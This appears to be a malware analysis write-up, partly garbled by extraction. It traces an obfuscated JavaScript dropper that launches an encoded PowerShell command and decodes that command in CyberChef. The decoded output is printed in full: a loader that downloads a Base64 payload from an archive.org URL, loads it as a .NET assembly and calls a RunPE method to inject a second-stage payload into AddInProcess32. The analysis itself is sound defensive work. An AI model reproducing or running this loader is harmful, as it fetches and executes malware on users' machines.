

The content of the javascript downloaded from the web contains a bunch of obfuscated variables but it does not appear to be used in anything.



Figure 1. Unused Variable Noise

```
var lNCWCRCqiczeWnNmmWcdKKUULWKKkHkdWePiqeLNfKgbUcxcGqtxLeIeRZLlbURGcL
var betle = new ActiveXObject("Scripting.Dictionary");
var codonophone = carcaju(betle);

if (codonophone === "lustrino") {
    switch (betle.Item("action")) {
        case metatarso:
            codonophone = rondear(betle);
            break;
        case invencionar:
            codonophone = folchlore(betle);
            break;
        case enojadamente:
            codonophone = rechan(betle);
            break;
        case exsolver:
            codonophone = paixoeiro(betle);
            break;
        case suinophobia:
            codonophone = rondear(betle);
            break;
        default:
            Usage(true);
    }
}
```

[illegible]

Figure 3. WScript.Shell

The remainder of the script on this javascript file goes back to a repeat of all the unused variables with seemingly random values just to add noise.

The opened powershell command runs an obfuscated script that can be decoded with cyberchef through the use of both fromBase64 and remove Null. The following result is shown below.

The screenshot displays the CyberChef web interface. On the left, the 'Recipe' panel is active, showing a sequence of steps: 'From Base64' (with a dropdown menu set to 'Alphabet A-Za-z0-9+/' and a checked 'Remove non-alphabet chars' option) and 'Remove null bytes' (with a checked 'Strict mode' option). The 'Input' panel on the right contains a long Base64-encoded string. The 'Output' panel at the bottom shows the decoded JavaScript code, which is a complex obfuscated script. The script starts with a comment 'Recipe' and contains various variables and functions, including a 'main' function that appears to be a complex obfuscation technique.

Figure 4. Cyberchef Decoding

Since the decoded string still runs the command by appending the string values together, I've put it into a string replacer to remove it and used the final output to access the final ".txt" file that is loaded into the assembly.

Input String ②

```
& ((GET-Variable "MDR").name[3,11,2]-join'') { (('+0)url'+1 =
{1}https://ia904601.us.archive.org/6/items/detah-note-j/DetahNote3.txt{1};
'+'+note-'+j/'+De'+tahN'+otej'+.txt'+{1});{0}ba'+se64Co'+n'+tent =
'+(New-Object ct '+Sy'+s'+tem.Ne'+t.W'+eb'+Client).DownloadString({0}url);
'+{0}bin'+a'+ryCon'+te'+nt =
'+'+'+S'+system.C'+onvert'+':'+Fro'+mBase64S'+t'+ri'+ng({0}base64Con'+t'+
ent);'+{0}'+assembly '+s
['+Ref'+lecti'on.Assembly'+y]:Lo'+ad({0}bina'+ryContent);'+{0}type '+s'+
{0}a'+sse'+mb'+l'+y'+y'.GetTy'+pe({1})'+RunPE.Ho'+me({1});{0}'+meth'+od'+t'+
{0}t'+yp'+e'+.GetM'+ethod({1})VAI('+1');
{0}'+met'+ho'+d'+.Invo'+ke'+({0)null,
[o'+bject[]]+'+@({1})txt.fch/v'+ed.2r.39b'+3'+4530'+2a075b1bc0d45b632eb9ee62-
b'+up/'+'+:spth'+('+1) '+, {'+1}de'+sa'+ti'+vado{1} ,
{1}'+de'+sativ'+ado{1} , {1}'+desat'+ivado('+1),{1}A'+ddInProcess32{1},
{1}'+d'+e'+s'+ativado(1));'-f[CHAR]36,[CHAR]39) )
```

Import from file Save as... Copy to clipboard

Replaced String

```
& ((GET-Variable "MDR").name[3,11,2]-join'') { (('0)url =
{1}https://ia904601.us.archive.org/6/items/detah-note-j/DetahNote3.txt{1};
{0}base64Content = (New-Object System.Net.WebClient).DownloadString({0}url);
{0}binaryContent = [System.Convert]::FromBase64String({0}base64Content);{0}assembly
= [Reflection.Assembly]::Load({0}binaryContent);{0}type =
{0}assembly.GetType({1}RunPE.Home{1});{0}method = {0}type.GetMethod({1}VAI{1});
{0}method.Invoke({0)null,
[object[]]@({1})txt.fch/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:spth{1} ,
{1}desativado{1} , {1}desativado{1} , {1}desativado{1},{1}AddInProcess32{1},
{1}desativado{1});'-f[CHAR]36,[CHAR]39) )
```

Chain with... Save as... Copy to clipboard

Tool Options

Find options

☒ Find this string

“ ‘

String to find

☐ Find this regular expression

“ /

Regex

Regular expression to match

Replacement options

“ New string

New string

Figure 5. Concatenating the Strings Together

[illegible]

[illegible]